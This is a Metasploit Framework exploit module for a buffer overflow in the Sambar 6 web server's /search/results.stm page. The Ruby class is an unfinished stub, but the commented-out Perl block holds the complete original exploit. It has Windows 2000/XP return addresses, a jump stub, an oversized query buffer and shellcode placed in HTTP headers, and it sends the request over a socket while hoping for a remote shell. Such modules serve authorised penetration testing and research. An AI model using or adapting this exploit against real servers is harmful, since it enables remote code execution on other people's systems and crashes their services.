205 lines
5.2 KiB
Ruby
205 lines
5.2 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sambar 6 Search Results Buffer Overflow',
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'Description' => %q{
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This exploits a buffer overflow found in the
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/search/results.stm application that comes with Sambar 6.
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This code is a direct port of Andrew Griffiths's SMUDGE
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exploit, the only changes made were to the nops and payload.
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This exploit causes the service to die, whether you provided
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the correct target or not.
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},
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'Author' => [ 'hdm', 'Andrew Griffiths <andrewg@felinemenace.org>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '2204'],
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[ 'MIL', '56'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'win32, win2000, winxp',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Jun 21 2003',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::sambar6_search_results;
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use base "Msf::Exploit";
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use strict;
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use Pex::Text;
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my $advanced = { };
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my $info =
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{
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'Name' => 'Sambar 6 Search Results Buffer Overflow',
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'Version' => '$Revision$',
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'Authors' =>
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[
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'H D Moore <hdm [at] metasploit.com>',
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'Andrew Griffiths <andrewg [at] felinemenace.org>'
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],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32', 'win2000', 'winxp' ],
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'Priv' => 0,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 80],
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'SSL' => [0, 'BOOL', 'Use SSL'],
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},
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'Payload' =>
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{
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'Space' => 2000, # yes, we have as much space as we want :)
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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# example of allowing A-Z, a-z, 0-9, 0xc0+ only
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#join("", map { $_=chr($_) } (0x00 .. 0x2f)).
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#join("", map { $_=chr($_) } (0x3a .. 0x40)).
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#join("", map { $_=chr($_) } (0x5B .. 0x60)).
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#join("", map { $_=chr($_) } (0x7B .. 0xC0)),
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},
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'Description' => Pex::Text::Freeform(qq{
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This exploits a buffer overflow found in the
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/search/results.stm application that comes with Sambar 6.
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This code is a direct port of Andrew Griffiths's SMUDGE
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exploit, the only changes made were to the nops and payload.
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This exploit causes the service to die, whether you provided
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the correct target or not.
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}),
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'Refs' =>
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[
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['OSVDB', 2204],
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['MIL', '56'],
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],
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'Targets' =>
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[
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['Windows 2000', 0x74fdee63, 0x773368f4],
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['Windows XP', 0x77da78ff, 0x77e631ea],
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],
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'Keys' => ['sambar'],
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'DisclosureDate' => 'Jun 21 2003',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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my ($opsys, $jmpesp, $retaddr) = @{ $target };
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$self->PrintLine("[*] Attemping to exploit Sambar with target '$opsys'");
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my $request =
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"POST /search/results.stm HTTP/1.1\r\n".
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"Host: $target_host:$target_port\r\n".
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"User-Agent: $shellcode\r\n".
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"Accept: $shellcode\r\n".
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"Accept-Encoding: $shellcode\r\n".
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"Accept-Language: $shellcode\r\n".
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"Accept-Ranges: $shellcode\r\n".
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"Referrer: $shellcode\r\n".
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"Connection: Keep-Alive\r\n".
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"Pragma: no-cache\r\n".
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"Content-Type: $shellcode\r\n";
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# we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff
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# int3's DO NOT WORK because it triggers an exception and causes the server to exit
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my $jmpcode = "\xfc"."h". pack("V", $retaddr) . "\xfc\xfc\xfc"."\xc2\x34\xd1";
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my $bigbuff = $jmpcode . ("X" x (128 - length($jmpcode))) . pack("VV", $jmpesp, $jmpesp) . $jmpcode;
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my $content = "style=page&spage=0&indexname=docs&query=$bigbuff";
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$request .= "Content-Length: " . length($content) . "\r\n\r\n" . $content;
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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$self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
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$s->Send($request);
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$self->PrintLine("[*] Waiting for a response...");
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my $r = $s->Recv(-1);
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if(!$r) {
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$self->PrintLine("[*] Didn't get response, hoping for shell anyway");
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}
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else {
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$self->PrintLine('[*] Got Response');
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}
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sleep(2);
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$s->Close();
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}
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=end
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end
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end
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